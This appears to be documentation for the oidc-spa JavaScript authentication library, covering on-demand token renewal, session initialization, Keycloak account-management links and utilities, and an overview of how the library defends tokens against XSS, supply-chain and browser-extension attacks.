{% content-ref url="/pages/PEVVAcvpgrhNHpuD5ykF" %}
[Third‑party cookies and session restoration](/v9/resources/third-party-cookies-and-session-restoration)
{% endcontent-ref %}


# Tokens Renewal

Many OpenID Connect adapters, end up implementing token renewal with a background refresh loop.\
That approach often creates avoidable load and some tricky edge cases.\
With `oidc-spa`, token lifecycle management is handled for you and stays out of your app code.

***

**The Problem With Access Token Refresh Loops**

Access tokens are meant to be **short-lived** (typically \~5 minutes, but sometimes as little as 20 seconds for high-security apps).\
Many adapters try to **keep an access token “always fresh” in cache**, which leads to:

* Constant background refreshes
* Heavy load on your auth server
* Agravated load when mutiple tabs are open on your app.

This isn’t needed. You don’t need a valid access token cached at all times.

***

**The Better Approach (What `oidc-spa` Does)**

Whenever you need to make an authenticated request, just **ask `oidc-spa` for a token**:

```ts
const oidc = await getOidc();

if (!oidc.isUserLoggedIn) {
    throw Error("Logical error in our application flow");
}

const { accessToken } = await oidc.getTokens();
headers.set("Authorization", `Bearer ${accessToken}`);
```

* If a valid token is cached, you’ll get it.
* If it’s expired or soon to expire, `oidc-spa` silently refreshes it using the refresh token.

Example: [interceptor pattern](https://github.com/InseeFrLab/onyxia/blob/2f7bad234099719debc15ecdaba30dba116ffef9/web/src/core/adapters/onyxiaApi/onyxiaApi.ts#L34-L84)\
Example: [custom fetch](https://github.com/keycloakify/oidc-spa/blob/a1aae19e2b5a874159fbdfecaaf00be814bb4c6a/examples/tanstack-router-file-based/src/oidc.tsx#L64-L76)

**But what about session expiration?**&#x20;

Behind the scenes, `oidc-spa` ensures the session **never expires prematurely** by refreshing **at least once before the refresh token itself expires**.  \
This prevents the backend from destroying the session simply because the user wasn’t making authenticated requests (e.g., they’re filling out a form or browsing content). &#x20;

At the same time, `oidc-spa` tracks **actual user activity** (keyboard, mouse, touch). If the user is truly idle beyond the refresh token lifespan, they’re logged out as expected.

***

**Why `oidc-spa` Still Exposes `renewTokens()`**

There are two legitimate edge cases:

1. **After custom requests**: If you make a request to your OIDC server that changes claims in the `id_token` or `access_token`, call `renewTokens()` to ensure you have the latest values. (This is a rare use case. It usually happens when user info is updated outside your app. If you’re not sure, you can generally assume you don’t need this.)
2. Getting a freshly issued token: If at one point in time, you want to be sure that you have a freshly issued token with it's maximum lifetime you might want to call renewTokens() before you call getTokens()
3. **Custom token parameters**: If your OIDC server supports extra token endpoint params, you can trigger a refresh with them. (`extraTokenParams` is also available at `createOidc()` time.)

Outside of these rare cases, you never need to call `renewTokens()` manually.

{% tabs %}
{% tab title="Vanilla API" %}

```typescript
import { createOidc } from "oidc-spa/core";

const prOidc = await createOidc({ ... });

// Function to call when we want to renew the token
export function renewTokens(){

   const oidc = await prOidc;
   
   if( !oidc.isUserLoggedIn ){
      throw new Error("Logical error");
   }
   
   oidc.renewTokens(
      // Optionally you can pass extra params that will be added 
      // to the body of the POST request to the openid-connect/token endpoint.
      // { extraTokenParams: { electedCustomer: "customer123" } }
      // This parameter can also be provided as parameter to the createOidc
      // function. See: https://github.com/keycloakify/oidc-spa/blob/59b8db7db0b47c84e8f383a86677e88e884887cb/src/oidc.ts#L153-L163
   );

}

// Subscribing to token renewal

prOidc.then(oidc => {
    if( !oidc.isUserLoggedIn ){
        return;
    }
    
    const { 
       unsubscribeFromTokensChange 
    } = oidc.subscribeToTokensChange(tokens => {
       console.log("Token Renewed", tokens);
    });
    
    setTimeout(() => {
        // Call unsubscribe when you want to stop watching tokens change
        unsubscribeFromTokensChange();
    }, 10_000);
});
```

{% endtab %}

{% tab title="React API" %}
Outside of a React Component:

```typescript
import { getOidc } from "~/oidc";

// Function to call when we want to renew the token
export function renewTokens(){

   const oidc = await getOidc({ assert: "user logged in" });
   
   oidc.renewTokens(
      // Optionally you can pass extra params that will be added 
      // to the body of the POST request to the openid-connect/token endpoint.
      // { extraTokenParams: { electedCustomer: "customer123" } }
      // This parameter can also be provided as parameter to the createOidc
      // function. See: https://github.com/keycloakify/oidc-spa/blob/59b8db7db0b47c84e8f383a86677e88e884887cb/src/oidc.ts#L153-L163
   );

}

// Subscribing to token renewal

getOidc().then(oidc => {
    if( !oidc.isUserLoggedIn ){
        return;
    }
    
    const { 
       unsubscribeFromAccessTokenRotation 
    } = oidc.subscribeToAccessTokenRotation(accessToken => {
       console.log("Access Token Rotated!", accessToken);
    });
    
    const {
         unsubscribeFromDecodedIdTokenChange
     } = oidc.subscribeToDecodedIdTokenChange(decodedIdToken => {
         console.log(`Decoded id token change`, decodedIdToken);
     });
    
    
    setTimeout(() => {
        // Call unsubscribe when you want to stop watching tokens change
        unsubscribeFromAccessTokenRotation();
        unsubscribeFromDecodedIdTokenChange();
    }, 10_000);
});
```

```tsx
import { useState, useEffect } from "react";
import { assert } from "tsafe/assert";
import { useOidc, getOidc } from "~/oidc";

export function MyComponent() {
    const { renewTokens } = useOidc({ assert: "user logged in" });
    return (
        <>
            <button onClick={() => renewTokens()}>Rotate tokens</button>
        </>
    );
}
```

{% endtab %}

{% tab title="Angular" %}
{% code title="src/app/app.ts" %}

```angular-ts
@Component({
  selector: 'app-root',
  templateUrl: './app.html',
})
export class App {
  oidc = inject(Oidc);

  constructor(){

    // Subscribing to token rotation: 
    this.oidc.accessTokenRotation$.subscribe(accessToken => {
      console.log(`Access Token Rotation: ${accessToken}`);
    });

    // Triggering token rotation manually
    setTimeout(()=> {

      this.oidc.renewTokens(/* ... optionally some params */);

    }, 10_000);

  }

}
```

{% endcode %}
{% endtab %}
{% endtabs %}


# User Session Initialization

In some cases, you might want to perform some actions when the user login to your app. &#x20;

It might be clearing some storage values, or calling a specific API endpoint.  \
If this action is costly. You might want to avoid doing it over and over again each time the user refresh the page. &#x20;

{% tabs %}
{% tab title="Vanilla API" %}

```typescript
import { createOidc } from "oidc-spa";

const oidc = await createOidc({ /* ... */ });

if (oidc.isUserLoggedIn) {
  if( oidc.isNewBrowerSession ){
     // This is a new visit of the user on your app
     // or the user signed out and signed in again with
     // an other identity.
     
     await api.onboard(); // (Example)
  }else{
     // It was just a page refresh (Ctrl+R)
  }
}
```

{% endtab %}

{% tab title="React API" %}
{% code title="src/oidc.ts" %}

```typescript
import { createReactOidc } from "oidc-spa/react";

export const {
    /* ... */
    getOidc
} = createReactOidc({ /* ... */ });

getOidc().then(oidc => {
  
  if( oidc.isNewBrowerSession ){
     // This is a new visit of the user on your app
     // or the user signed out and signed in again with
     // an other identity.
     
     await api.onboard(); // (Example)
  }else{
     // It was just a page refresh (Ctrl+R)
  }

});
```

{% endcode %}

You can also do this in your React component (although it's maybe not the best approach)

```tsx
import { useOidc } from "./oidc";
import { useEffect } from "react";

function MyComponent(){

    const { isUserLoggedIn, isNewBrowserSession, backFromAuthServer } = useOidc();
    
    useEffect(()=> {
    
        if( oidc.isNewBrowerSession ){
           // This is a new visit of the user on your app
           // or the user signed out and signed in again with
           // an other identity.
           
           api.onboard(); // (Example)
        }else{
           // It was just a page refresh (Ctrl+R)
        }
    
    }, []);
```

{% endtab %}
{% endtabs %}


# User Account Management

## Redirecting to your IdP's account managment page

<figure><img src="/files/Kvq6smM4WpCwPa59j4id" alt=""><figcaption></figcaption></figure>

IdP always provide a user account page that let users, update their password, account information, manage their session.  \
If you are using Keycloak you can generate the link to the Account Console with:

{% tabs %}
{% tab title="Framework Agnostic" %}

```typescript
import { createKeycloakUtils } from "oidc-spa/keycloak";

const keycloakUtils = createKeycloakUtils({ issuerUri: oidc.issuerUri });

const accountLinkUrl = keycloakUtils.getAccountUrl({
    clientId: oidc.clientId,
    validRedirectUri: oidc.validRedirectUri,
    locale: "en" // Optional
});
```

{% endtab %}

{% tab title="React" %}

```typescript
const { issuerUri, clientId, validRedirectUri } = useOidc();

const keycloakUtils = createKeycloakUtils({ issuerUri });

const accountLinkUrl = keycloakUtils.getAccountUrl({
    clientId,
    validRedirectUri,
    locale: "en" // Optional
});
```

{% endtab %}

{% tab title="Angular" %}
{% code title="src/app/app.ts" %}

```typescript
import { Oidc } from './services/oidc.service';

@Component({
  selector: 'app-root',
  templateUrl: './app.html',
})
export class App {
  oidc = inject(Oidc);
  keycloakUtils = createKeycloakUtils({
    issuerUri: this.oidc.issuerUri,
  });

  accountUrl = this.keycloakUtils.getAccountUrl({
    clientId: this.oidc.clientId,
    validRedirectUri: this.oidc.validRedirectUri,
    locale: "en" // Optional
  })
}
```

{% endcode %}
{% endtab %}
{% endtabs %}

## Direct Link to Specific Actions

{% hint style="info" %}
In this section we assume you are using Keycloak. If you are using another authentication server you'll have to addapt the `queryParameter` provided.
{% endhint %}

<figure><img src="/files/LNme0PZV9Ly7ZrSaGtMB" alt=""><figcaption></figcaption></figure>

There is thee main actions:

* **UPDATE\_PASSWORD**: Enables the user to change their password.
* **UPDATE\_PROFILE**: Enable the user to edit teir account information such as first name, last name, email, and any additional user profile attribute that  you might have configured on your Keycloak server.
* **delete\_account**: (In lower case): This enables the user to delete he's account. You must enable it manually on your Keycloak server Admin console. See [Keycloak Configuration Guide](/v9/providers-configuration/keycloak).

Let's, as an example, how you would implement an update password button:

{% tabs %}
{% tab title="Vanilla API" %}

```typescript
import { createOidc } from "oidc-spa";
import { parseKeycloakIssuerUri } from "oidc-spa/tools/parseKeycloakIssuerUri";

const oidc = await createOidc({ ... });

if( oidc.isUserLoggedIn ){

   // Function to invoke when the user click on your "change my password" button.
   const updatePassword = ()=>
      oidc.goToAuthServer({
         extraQueryParams: { 
             kc_action: "UPDATE_PASSWORD" 
         }
      });
   // NOTE: This is optional, it enables you to display a feedback message
   // when the user is redirected back to your application after completing
   // or canceling the action.
   if( 
      oidc.backFromAuthServer?.extraQueryParams.kc_action === "UPDATE_PASSWORD"
   ){
      switch(oidc.backFromAuthServer.result.kc_action_status){
          case "canceled": 
             alert("You password was not updated");
             break;
          case "success":
             alert("Your password has been updated successfuly");
             break;
      }
   }
}

// Url for redirecting users to the keycloak account console.
const keycloakAccountUrl = parseKeycloakIssuerUri(oidc.params.issuerUri)
   .getAccountUrl({ 
       clientId: params.clientId,
       backToAppFromAccountUrl: `${location.href}${import.meta.env.BASE_URL}`
    });
        
```

{% endtab %}

{% tab title="React" %}

```tsx
import { useOidc } from "@/oidc";

function ProtectedPage() {
    // Here we can safely assume that the user is logged in.
    const { goToAuthServer, backFromAuthServer, params } = useOidc({ assert: "user logged in" });
    
    return (
        <>
            <button
                onClick={() =>
                    goToAuthServer({
                        extraQueryParams: { kc_action: "UPDATE_PASSWORD" }
                    })
                }
            >
                Change password
            </button>
            {/* 
            Optionally you can display a feedback message to the user when they
            are redirected back to the app after completing or canceling the
            action.
            */}
            {backFromAuthServer?.extraQueryParams.kc_action === "UPDATE_PASSWORD" && (
                <p>
                    {(()=>{
                        switch(backFromAuthServer.result.kc_action_status){
                            case "success":
                                return "Password successfully updated";
                            case "cancelled":
                                return "Password unchanged";
                        }
                    })()}
                </p>
            )}
        </>
    );
}

```

{% endtab %}

{% tab title="Angular" %}

```typescript
updatePassword = ()=> this.oidc.goToAuthServer({
    extraQueryParams: { kc_action: "UPDATE_PASSWORD" }
});
```

```angular-html
@if( oidc.backFromAuthServer?.extraQueryParams.kc_action === "UPDATE_PASSWORD" ){          
@if ( oidc.backFromAuthServer.result.kc_action_status === "success" ){
<p>Password successfully updated</p>
} @else {
<P>Password unchanged</p>
}
}
```

{% endtab %}
{% endtabs %}


# Keycloak Utils

oidc-spa is provider agnostic.\
You won’t find any Keycloak-only logic in the core package.

If you *are* using Keycloak, `oidc-spa/keycloak` exposes small utilities to leverage Keycloak-specific URLs and endpoints.

{% hint style="info" %}
These utilities are **pure** (no side effects) and only need your `issuerUri`.\
`createKeycloakUtils()` is memoized, so it’s safe to call often.
{% endhint %}

### Import

```typescript
import { createKeycloakUtils, isKeycloak } from "oidc-spa/keycloak";
```

### Optional runtime check: is this issuer Keycloak?

Useful when your app can run against multiple providers.

```typescript
const oidc = await getOidc(); // or useOidc() or inject(Oidc)

if (!isKeycloak({ issuerUri: oidc.issuerUri })) {
    console.log("The authorization server is not a Keycloak instance");
    return;
}
```

### Create the utils object

```typescript
const keycloakUtils = createKeycloakUtils({ issuerUri: oidc.issuerUri });
```

### Common use cases

#### Redirect to the registration page (instead of login)

```typescript
oidc.login({
    doesCurrentHrefRequiresAuth: false,
    transformUrlBeforeRedirect: keycloakUtils.transformUrlBeforeRedirectForRegister
});
```

#### Link to the Keycloak Account Console

Users can update their profile, password, MFA, sessions, etc.

```typescript
const accountUrl = keycloakUtils.getAccountUrl({
    clientId: oidc.clientId,
    validRedirectUri: oidc.validRedirectUri,
    locale: "en" // Optional
});
```

See: [User Account Management](/v9/features/user-account-management#redirecting-to-your-idps-account-managment-page)

#### Fetch the Keycloak user profile (Keycloak-internal endpoint)

This is richer than the decoded ID token.\
Equivalent of `keycloak-js` `.loadUserProfile()`.

```typescript
const accessToken = await oidc.getAccessToken(); // or (await oidc.getTokens()).accessToken

const userProfile = await keycloakUtils.fetchUserProfile({ accessToken });

userProfile.id;
userProfile.username;
userProfile.attributes;
```

#### Fetch user info (OIDC `userinfo` endpoint)

Equivalent of `keycloak-js` `.loadUserInfo()`.

```typescript
const accessToken = await oidc.getAccessToken(); // or (await oidc.getTokens()).accessToken

const userInfo = await keycloakUtils.fetchUserInfo({ accessToken });
userInfo.sub;
```

The userInfo object is similarly shaped as what you get if you decode the payload of the access token (which you shouldn't do on the client, see: [JWT Of the Access Token](/v9/resources/jwt-of-the-access-token))

```typescript
import { decodeJwt } from "oidc-spa/decode-jwt";
const decodedAccessToken = decodeJwt(accessToken);
```

#### Admin Console URLs

Only show these links to privileged users (for example `realm-admin`).

```typescript
keycloakUtils.adminConsoleUrl; // Admin console for the current realm
keycloakUtils.adminConsoleUrl_master; // Admin console for the "master" realm
```

### Parse the issuer URI

```typescript
const { issuerUriParsed } = keycloakUtils;

// Example issuerUri:
// "https://auth.my-company.com/realms/myrealm"
issuerUriParsed.origin; // "https://auth.my-company.com"
issuerUriParsed.realm; // "myrealm"
issuerUriParsed.kcHttpRelativePath; // undefined or "/auth" if the issuer uri was "https://auth.my-company.com/auth/realms/myrealm"
```


# Overview

How oidc-spa mitigates the risks of token exposure

oidc-spa implements a comprehensive, defense-in-depth strategy to protect against token exfiltration during a successful XSS or supply-chain attack.

## Enabling the defences

With oidc-spa, all current best practices are implemented out of the box:

* **No persistence**: tokens live in memory only. Sessions are restored by contacting the Authorization server on every app reload.
* PKCE is always required and can't be disabled.
* Single, non-dynamic [valid redirect URI](#user-content-fn-1)[^1]. (As opposed to keycloak-js, which requires configuring a redirect URI with a wildcard, like <https://dashboard.my-app.com/\\>\*)

In addition to these baseline defences, oidc-spa offers three **opt-in** defences that drastically improve the security profile of your application.

<table data-view="cards"><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pages/OQPfLaz21wcSz22qMpf2">/pages/OQPfLaz21wcSz22qMpf2</a></td></tr><tr><td><a href="/pages/AkX224WAW7UAYAoUymBd">/pages/AkX224WAW7UAYAoUymBd</a></td></tr><tr><td><a href="/pages/zmd4gn3akUmtOPPYQAXq">/pages/zmd4gn3akUmtOPPYQAXq</a></td></tr></tbody></table>

## Understanding the Security Guarantees (and Their Limits)

The objective of those defences is to achieve, **in a purely client-side token exchange**, a level of token safety comparable to traditional backend-based authentication (session cookies).\
The concerns that those oidc-spa defences address are described in this talk:

{% embed url="<https://youtu.be/MpPd0WnEG5s?si=ZwlZujfmYboSMlE-&t=779>" %}

With oidc-spa's defences enabled, an attacker cannot read or request valid tokens.

⸻

### Supply-Chain Attacks

If an NPM dependency is compromised, the damage remains extremely limited:

* With [DPoP](/v9/security-features/dpop), if a token gets exfiltrated, it's harmless outside of the call site. With [Token Substitution](/v9/security-features/token-substitution), the tokens are, in theory, not exfiltrable.
* This blocks the most common and impactful class of supply-chain attacks
* Most real-world supply-chain malware is opportunistic, not targeted

An attacker could theoretically act on behalf of the user during the active compromise, but:

* This requires a targeted attack specifically against your build
* This is realistic only for massive, high-value open-source systems
* Even then, oidc-spa makes it very difficult

Why? Because unlike session-cookie auth, where any `fetch()` automatically includes credentials, here the attacker must obtain a reference to your `fetchWithAuth()` or `getOidc()` functions.

These functions usually live inside hashed static assets (example: `assets/KcAdminUi-BV3D797K.js`). The hash will likely differ between the moment the attacker crafts the exploit and the moment the compromised dependency lands in your build.

Additionally, oidc-spa makes a best-effort attempt to make discovery of the module graph harder.

Bottom line: For supply-chain attacks, oidc-spa arguably offers stronger protection than traditional session cookies.

⸻

### XSS Attacks

XSS remains dangerous. oidc-spa protects against token exfiltration, but an attacker who knows everything about your build can still manage to act on behalf of the user while the attack is going on.

They can import your `fetchWithAuth()` implementation (exposed somewhere in the hashed JS assets) and perform any action the current user is allowed to perform.

Note that apps that implement traditional, backend-driven, session-cookie auth are just as vulnerable to XSS. It's even easier for the attacker since they don't even have to find the `fetchWithAuth` reference in the module graph; they can call the API with a simple `fetch()`, and the session cookie will be automatically attached.

The good news is that XSS can be very effectively blocked with strict Content-Security-Policy (CSP). And you should absolutely enable one.

Here you can find an example of a canonical, very strict CSP that ensures that only code that you own can run in your app:

[CSP Configuration](/v9/resources/csp-configuration#canonical-nginx-configuration)

⸻

### Compromised Browser Extensions

If a user installs a malicious browser extension, it can inspect outgoing network traffic and see the real tokens.

Here's where [DPoP](/v9/security-features/dpop) shines. It makes it so that the access token alone is not enough to mint new requests, and prevents outgoing captured requests from being replayed.

However, [DPoP](/v9/security-features/dpop) is not an absolute protection since a malicious browser extension could theoretically manage to execute some code before oidc-spa's early init had the chance to ensure runtime integrity. This would, however, be very hard to pull off in practice. oidc-spa will block classical attack vectors.

Bottom line: oidc-spa makes it much, much harder for a compromised browser extension to successfully mint and exfiltrate usable tokens than any other client-side OIDC implementation. And in any case, such an attack would only affect the user with the compromised extension.

⸻

## How oidc-spa Achieves This (In a Nutshell)

The entire strategy relies on the fact that, thanks to the Vite plugin or `oidcSpaEarlyInit`, oidc-spa [gets a guaranteed window of execution before any other JavaScript runs](#user-content-fn-2)[^2].

During that window, it can:

* Harden the environment by preventing monkey-patching of fetch, XHR, WebSocket, Promise, String, and other critical built-ins
* Safely extract the authorization response from the URL and store it in memory
* Register a message listener that cannot be unregistered, ensuring silent-signin integrity
* Enforce restrictions on service worker registration
* And with DPoP and/or Token Substitution you're guaranteed either that a leaked token is harmless ([DPoP](/v9/security-features/dpop)) or that a token cannot be leaked ([Token Substitution](/v9/security-features/token-substitution)).

[^1]: Also referred to as "oidc callback uri"

[^2]: ...Unless you've opted to call oidcEarlyInit() in the oidc.ts file.




---

[Next Page](/llms-full.txt/1)

